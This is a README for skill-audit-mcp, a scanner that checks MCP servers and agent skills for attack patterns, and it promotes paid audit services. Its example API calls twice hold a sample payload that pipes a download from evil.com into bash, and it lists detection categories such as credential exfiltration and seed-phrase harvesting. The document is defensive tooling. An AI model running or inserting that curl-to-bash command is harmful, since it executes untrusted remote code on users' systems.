Content
# skill-audit-mcp
[](https://smithery.ai/server/eltociear/skill-audit-mcp) [](https://registry.modelcontextprotocol.io)
> **Static security scanner for MCP servers, AI agent skills, and plugins.** 17 attack patterns (61 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.
[](https://glama.ai/mcp/servers/@eltociear/skill-audit-mcp)
[](https://github.com/eltociear/skill-audit-mcp)
[](https://github.com/eltociear/skill-audit-mcp/pkgs/container/skill-audit-mcp)
[](LICENSE)
[](https://github.com/eltociear/skill-audit-mcp)
[](https://github.com/eltociear/mcp-audit/blob/main/FINDINGS.md)
## ⚡ Try it in 30 seconds
```bash
# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Option C: GitHub Action (CI/CD) — see below
```
## 📡 Featured in
Cross-referenced from the discovery channels that AI/security engineers actually read:
- [punkpeye/awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers) (86K★) — Security section
- [cline/mcp-marketplace](https://github.com/cline/mcp-marketplace) (61K★) — curated one-click install (review pending)
- [ComposioHQ/awesome-claude-skills](https://github.com/ComposioHQ/awesome-claude-skills) (59K★) — Security & Systems
- [aaif-goose/goose](https://github.com/aaif-goose/goose) (45K★) — extension tutorial doc
- [sdras/awesome-actions](https://github.com/sdras/awesome-actions) (28K★) — Security
- [veggiemonk/awesome-docker](https://github.com/veggiemonk/awesome-docker) (36K★) — Security
- [VoltAgent/awesome-claude-code-subagents](https://github.com/VoltAgent/awesome-claude-code-subagents) (20K★) — Quality & Security subagent
- [travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills) (12K★)
- [BehiSecc/awesome-claude-skills](https://github.com/BehiSecc/awesome-claude-skills) (9K★)
- [yzfly/Awesome-MCP-ZH](https://github.com/yzfly/Awesome-MCP-ZH) (7K★) — 中文 🔒 安全与分析
- [tensorchord/Awesome-LLMOps](https://github.com/tensorchord/Awesome-LLMOps) (6K★) — Frameworks for LLM security
- [devsecops/awesome-devsecops](https://github.com/devsecops/awesome-devsecops) (5K★) — Testing
- [mahseema/awesome-ai-tools](https://github.com/mahseema/awesome-ai-tools) (5K★) — Developer tools
## Four ways to use:
## 1. GitHub Action (CI/CD)
Add to your workflow to automatically scan PRs:
```yaml
name: MCP Security Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: eltociear/skill-audit-mcp@v1
with:
path: '.'
fail-on: 'HIGH'
```
With SARIF upload (shows findings in GitHub Security tab):
```yaml
- uses: eltociear/skill-audit-mcp@v1
with:
path: '.'
sarif: 'results.sarif'
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'results.sarif'
```
## 2. CLI (npx)
```bash
# Scan a file
npx @eltociear/skill-audit-mcp --path ./server.py
# Scan a directory
npx @eltociear/skill-audit-mcp --path ./mcp-servers/
# JSON output
npx @eltociear/skill-audit-mcp --path . --json
# SARIF output
npx @eltociear/skill-audit-mcp --path . --sarif results.sarif
# Fail if HIGH or CRITICAL findings
npx @eltociear/skill-audit-mcp --path . --fail-on HIGH
```
Or install globally:
```bash
npm install -g @eltociear/skill-audit-mcp
mcp-audit --path ./server.py
```
## 3. MCP Server (Claude Desktop / Cursor)
Add to your MCP config:
```json
{
"skill-audit-mcp": {
"type": "stdio",
"command": "python3",
"args": ["path/to/scanner.py"]
}
}
```
Then ask Claude: "Audit this MCP server for security issues"
## What it detects
| Severity | Patterns |
|----------|----------|
| CRITICAL | Download & execute, credential exfiltration, key generation, sensitive directory write, seed phrase harvesting |
| HIGH | External downloads, skill installation, arbitrary code execution, auth bypass, identity impersonation |
| MEDIUM | Unknown API calls, data collection, privilege escalation, obfuscation, prompt injection |
| LOW | External URL references, broad filesystem access |
## Risk scoring
- 0-10: SAFE
- 11-25: LOW
- 26-50: MEDIUM
- 51-75: HIGH
- 76-100: CRITICAL
## Sister project — secrets-audit-mcp
For **leaked credentials and API keys** (vs behavioral patterns covered here),
see [secrets-audit-mcp](https://github.com/eltociear/secrets-audit-mcp) —
32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack /
Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep,
single-file stdio MCP server design.
| Layer | Server | Detects |
|---|---|---|
| Behaviors | `skill-audit-mcp` (this) | curl-pipe-sh, prompt injection, exfiltration (17 patterns) |
| Secrets | `secrets-audit-mcp` | leaked keys/tokens/PEMs (32 rules) |
Run both for full coverage.
## 4. Docker (offline, multi-arch)
Zero-install scanner image at `ghcr.io/eltociear/skill-audit-mcp:v1` — `linux/amd64` + `linux/arm64`.
```bash
# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
--path /work --min-severity MEDIUM --fail-on HIGH
# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
--path /work --sarif-output /work/audit.sarif
```
## 5. Hosted API (x402 pay-per-scan)
No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers `402` with a payment challenge, your agent's wallet settles it, and the scan runs. A `GET` on the same path returns the price without spending anything.
```bash
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"url": "https://github.com/some-org/some-mcp-server"}'
```
First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via [`@bankr/cli`](https://www.npmjs.com/package/@bankr/cli), then retry.
## 6. pre-commit hook
Add to your `.pre-commit-config.yaml`:
```yaml
repos:
- repo: https://github.com/eltociear/skill-audit-mcp
rev: v1.0.1
hooks:
- id: skill-audit-mcp
```
## Hire me for an audit
Need a deeper review than the automated scanner can give? I take freelance
**MCP / AI agent security audits** at three tiers:
| Tier | Price | Deliverable |
|-------------|-------------|-----------------------------------------------------------------|
| Spot scan | **$500** | Full repo scan + 1-page risk report with prioritized fixes |
| Standard | **$2,000** | Manual review + PoC for HIGH/CRITICAL findings + remediation PR |
| Engagement | **$5,000+** | Pentest, threat model, retest after fixes, 30-day Slack support |
Track record: 196 public MCP servers scanned end-to-end; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first ([method and results](https://github.com/eltociear/mcp-audit/blob/main/FINDINGS.md))
(reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp,
docker-mcp).
Email: **eltociear@gmail.com** (subject: "MCP audit")
Or buy a one-off **MCP Security Audit Report ($5)** directly: [polar.sh/eltociear](https://polar.sh/eltociear).
## Sponsors
If skill-audit-mcp saved your bacon — or you just want to keep new
detection rules shipping — I happily accept sponsorships:
- [GitHub Sponsors](https://github.com/sponsors/eltociear)
- [Ko-fi](https://ko-fi.com/eltociear)
- [Polar](https://polar.sh/eltociear)
## Security
Found a vulnerability in `skill-audit-mcp` itself? Report via [private security advisory](https://github.com/eltociear/skill-audit-mcp/security/advisories/new) — see [`SECURITY.md`](SECURITY.md) for the response timeline.
Found a vulnerability in a **third-party MCP server** using skill-audit-mcp? Report it to that project's security policy or via [huntr.com](https://huntr.com).
## Star history
[](https://star-history.com/#eltociear/skill-audit-mcp&Date)
## License
MIT
## Free MCP vs paid x402
This MCP server is **free**. For server-side / batch / no-install use, the same scanner is a pay-per-call **x402** HTTP API: `POST https://eltociear-skill-audit.hf.space/audit` ($0.01 USDC on Base) and `/audit/url` ($0.03). In the official MCP Registry as `io.github.eltociear/skill-audit-mcp`.
Also hosted on the **[Apify Store](https://apify.com/eltociear/mcp-server-security-scanner)** (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.
## Professional audit services
Maintained by the same author — paid services on Polar (Stripe checkout):
- **[MCP Security Audit Report — $5](https://buy.polar.sh/polar_cl_sut9rtngBRutEhBAGk1FmwRYSLrAebowkPw8g2C5Op7)** — one-off audit of your MCP server: 17 attack patterns, severity-rated PDF report with concrete fixes.
- **[Security Pulse — $5/mo](https://buy.polar.sh/polar_cl_jKHyL3Ge9u5YGAsjgixp16UYrhU0WGldxvRmN03expZ)** ([annual $50](https://buy.polar.sh/polar_cl_rEcqwjLJ83vlfa3C8vhAtDLOa6fPVxWeHZyd31BdIPT)) — monthly briefing on newly disclosed MCP server vulnerabilities, scan stats across 100+ tracked repos, mitigation playbooks.
- **[Pro Audit Stack — $20/mo](https://buy.polar.sh/polar_cl_C37THjfoFMdOnu6xc1TnMIezYNuBbbivXbvFb3DCpZa)** — for teams running MCP servers in CI/CD: 50 hosted scans/month, Discord access, 24h SLA on vulnerability questions.
Full catalog: [polar.sh/eltociear](https://polar.sh/eltociear)
### Also live: clean-read ($0.005 / call)
Same operator, same x402 rails: **[clean-read](https://eltociear-skill-audit.hf.space/read)** turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. `POST https://eltociear-skill-audit.hf.space/read` — $0.005 USDC on Base, no signup.
